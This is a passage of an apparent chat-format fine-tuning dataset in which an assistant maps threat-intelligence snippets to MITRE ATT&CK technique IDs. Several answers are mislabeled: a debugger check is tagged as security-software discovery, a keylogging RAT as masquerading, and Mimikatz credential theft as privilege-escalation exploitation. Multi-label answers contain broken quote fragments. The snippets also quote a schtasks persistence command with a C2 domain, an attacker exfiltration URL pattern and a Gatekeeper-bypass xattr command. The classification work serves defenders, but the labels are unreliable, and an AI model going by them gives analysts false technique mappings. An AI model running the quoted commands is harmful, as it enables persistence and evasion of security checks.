                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerSploit's \"Invoke-TokenManipulation\" Exfiltration module can be used to manipulate tokens."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses the Invoke-Obfuscation framework to obfuscate their PowerShell and also performs other code obfuscation."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "used VBS and JavaScript scripts to help perform tasks on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A string with the 5-character length and encoded with BASE64 is added to the beginning of the buffer encoded using the BASE64 algorithm"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information', 'T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Grandoreiro has named malicious browser extensions and update files to appear legitimate."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NanHaiShu uses mshta.exe to load its program and files."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - Signed Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RDAT has used HTTP if DNS C2 communications were not functioning."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious processes are marked red (click image to enlarge):  The following malicious files are dropped and run:  C:\\ProgramData\\{2ED05C38-D464-4188-BC7F-F6915DE8D764}\\OFFLINE\\9A189DFE\\C7B7C186\\main.vbs dcac79d7dc4365c6d742a49244e81fd0 C:\\Users\\Public\\Libraries\\RecordedTV\\DnE.ps1 7fe0cb5edc11861bc4313a6b04aeedb2 C:\\Users\\Public\\Libraries\\RecordedTV\\DnS.ps1 3920c11797ed7d489ca2a40201c66dd4 “C:\\Windows\\System32\\schtasks.exe” /create /F /sc minute /mo 3 /tn “GoogleUpdateTasksMachineUI” /tr C:\\Users\\Public\\Libraries\\RecordedTV\\backup.vbs 7528c387f853d96420cf7e20f2ad1d32  Command and control server is located in the following domain: tecsupport[.]in A detailed analysis of the malware is provided in two posts by Palo Alto networks and in a post by FireEye, which wrote about previous campaigns by this threat agent"
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once run, the wiper will damage the Master Boot Record (MBR) of the infected computer, rendering it inoperable"
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has created a directory named \"out\" in the user's %AppData% folder and copied files to it."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This RAT is also known for its keylogging and file transfer functionality. As such, any remote attacker can load any files onto the infected machine or even steal documents"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OutSteel has been distributed as a malicious attachment within a spearphishing email."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkWatchman has been delivered via spearphishing emails that contain a malicious zip file."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OwaAuth DES-encrypts captured credentials using the key 12345678 before writing the credentials to a log file."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The BlackEnergy component KillDisk is capable of deleting Windows Event Logs."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal on Host: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Azorult can collect the username from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The main function of the Trojan interacts with its configured C2 server to obtain additional code to execute"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GALLIUM primarily relies on compromised domain credentials to move through the target network, and as outlined above, uses several credential harvesting tools. Once they have acquired credentials, the activity group uses PsExec extensively to move laterally between hosts in the target network"
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoetRAT used TLS to encrypt command and control (C2) communications."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware queries the value for the flag BeingDebugged from PEB to check whether the process is being debugged."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Saint Bot has been disguised as a legitimate executable, including as Windows SDK."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It maintains both code and data in the raw, encrypted blobs of data to be decrypted and used at runtime, and hidden functionality that isn’t exposed until runtime"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Windshift has used malware to enumerate active processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gamaredon Group has left taunting images and messages on the victims' desktops as proof of system access."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "performs most of its operations using Windows Script Host (Jscript and VBScript) and runs arbitrary shellcode ."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "communicates with its C2 server over TCP port 3728."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "C2 traffic from ADVSTORESHELL is encrypted, then encoded with Base64 encoding."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Babuk can enumerate all services running on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ChChes collects the victim's %TEMP% directory path and version of Internet Explorer."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For example, in the previous variant of BADNEWS, the victim’s unique identifier was stored under a variable named ‘uid’, the username was stored in a variable named ‘u’, etc"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gelsemium can check for the presence of specific security products."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aria-body has the ability to enumerate loaded modules for a process.."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao has used valid VPN credentials to gain initial access."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Additional Reading This PowerShell logging blog post contains more information on improving PowerShell visibility in your environment"
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HyperStack can add the name of its communication pipe to \"HKLM\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\lanmanserver\\\\parameters\\NullSessionPipes\"."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LoJax is a UEFI BIOS rootkit deployed to persist remote access software on some targeted systems."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit', 'T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The following commands were used to create and add the DefaultUser account to the local Administrators group, and subsequently hide the account from the Windows logon screen"
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account', 'T1098 - Account Manipulation', 'T1136.001 - Create Account: Local Account', 'T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Metamorfo has a function to kill processes associated with defenses and can prevent certain processes from launching."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As my analysis in the previous blog showed, Agent Tesla is a spyware. It monitors and collects the victim’s keyboard inputs, system clipboard, screen shots of the victim’s screen, as well as collects credentials of a variety of installed software. So far, through my quick analysis, this version is similar to the older one"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the ability to create a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In october 2016 Group-IB published the report about the Cobalt group. Network penetration In all cases investigated by Group-IB, the Cobalt group used a set of spear phishing emails to gain initial access to the corporate infrastructure. However, some of the email addresses belong to employees that no longer work at the organization, which means that the Cobalt group likely uses out-of-date mailing lists. Therefore, the Cobalt group registered domains are similar to real ones (for example, diebold.pw), and configured their email server to distribute acting as these legitimate domains (fig. Provision of the malware survivability The Cobalt group uses different methods to ensure malware survivability on corporate networks. The goal is to set the startup path to the executable file or program code, launching it with the powershell.exe shell command to access the Internet resource specified in the code in order to download and install Cobalt Strike module. From our experience, the Cobalt group uses a new method to provide its survivability in every attack. Cobalt Strike provides the ability to use the Artifact Kit framework for these purposes and even modify it, as it is distributed in the source code. Use of standard tools Cobalt Strike is publicly accessible, and can be downloaded in order to learn and create detection rules on the network. Conclusion After infecting one computer on an organization's network, the Cobalt group analyzes the programs used on it and search for critical servers and the computers from which they are accessed"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains a collection of Privesc-PowerUp modules that can discover and replace/modify service binaries, paths, and configs."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has dropped and executed tools used for password cracking, including Hydra and CrackMapExec."
            },
            {
                "role": "assistant",
                "content": "T1110.002 - Brute Force: Password Cracking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once the attackers identify the files of interest, the module is instrumented for exfiltration of the files.The VBScript-based file recon module used by the attackers is somewhat different. The URL constructed had the following format:http://&lt;attacker_controlled_domain/&gt;report.php"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Metamorfo has used native WINAPI calls."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OopsIE compresses collected files with a simple character replacement scheme before sending them to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The following diagram illustrates the changes applied to targeted executables after infection has taken place and how these components interact on execution"
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FatDuke can turn itself on or off at random intervals."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once the initial computer on the targeted organization’s network is infected with Vcrodat, Whitefly begins mapping the network and infecting further computers. The attackers rely heavily on tools such as Mimikatz to obtain credentials. Using these credentials, the attackers are able to compromise more machines on the network and, from those machines, again obtain more credentials"
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool', 'T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DOGCALL can download and execute additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a Windows service to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SeaDuke is capable of persisting via the Registry Run key or a .lnk file stored in the Startup directory."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Silence has used the Farse6.1 utility (based on Mimikatz) to extract credentials from lsass.exe."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Flash object in the .docx file, stored in uncompressed format The Flash object contains an ActionScript which is responsible for extracting the exploit using a custom packer seen in other FinSpy exploits"
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SideTwist has the ability to collect the domain name on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has stored captured credential information in a file named pi.log."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TajMahal has the ability to identify the MAC address on an infected host."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HermeticWiper has used the name `postgressql.exe` to mask a malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This IP is of particular interest as historical domain resolutions of this IP revealed that it had resolved to the domain hotmai1l[.]com in the past as well, which was a domain we had previously identified as having a high likelihood of association with DarkHydrus infrastructure"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWERSOURCE is a PowerShell backdoor."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Windshift has used malware to identify the computer name of a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "encrypts command and control communications with RC4."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gazer has commands to delete files and persistence mechanisms from the victim."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fox Kitten has used a Twitter account to communicate with ransomware victims."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When you run the command, it sets all the required information about the AD FS to Azure AD for the federated domain. It also creates a relying party trust for the Azure AD to the local AD FS server. When a user is authenticated on AD FS, it creates a security token including claims about the user’s identity. With Azure AD, two claims are used for authentication; UserPrincipalName and ImmutabledId. Basically, the ImmutableId could be any string, as long as it matches the ImmutableId attribute of the user object in Azure AD. Typically the ImmutableId is a base 64 encoded GUID of the user object in on-premises AD (to convert GUID to immutable ID see the tools page). Converting the domain to federated also creates two claim issuance rules. For short, the rules add the UserPrincipalName and ImmutableId claims of the logged in user to the security token. When security token is delivered to Azure authentication platform, it checks the token signature, and if it matches the trust, the user is granted access"
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain or Tenant Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Molerats has delivered compressed executables within ZIP files to victims."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OSX_OCEANLOTUS.D uses the command \"xattr -d com.apple.quarantine\" to remove the quarantine file attribute used by Gatekeeper."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot has a module that can proxy C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once the malware was persisted and kicked off the launch items, it invokes a function named create_rescue_executable to create yet another copy of itself. This copy will made in the user’s Library directory. Its named starts with a . so that it won’t show up in the UI (i.e. Finder.app), and is then followed via 9 random characters"
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can spawn processes with alternate PPIDs."
            },
            {
                "role": "assistant",
                "content": "T1134.004 - Access Token Manipulation: Parent PID Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ThreatNeedle has been distributed via a malicious Word document within a spearphishing email."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
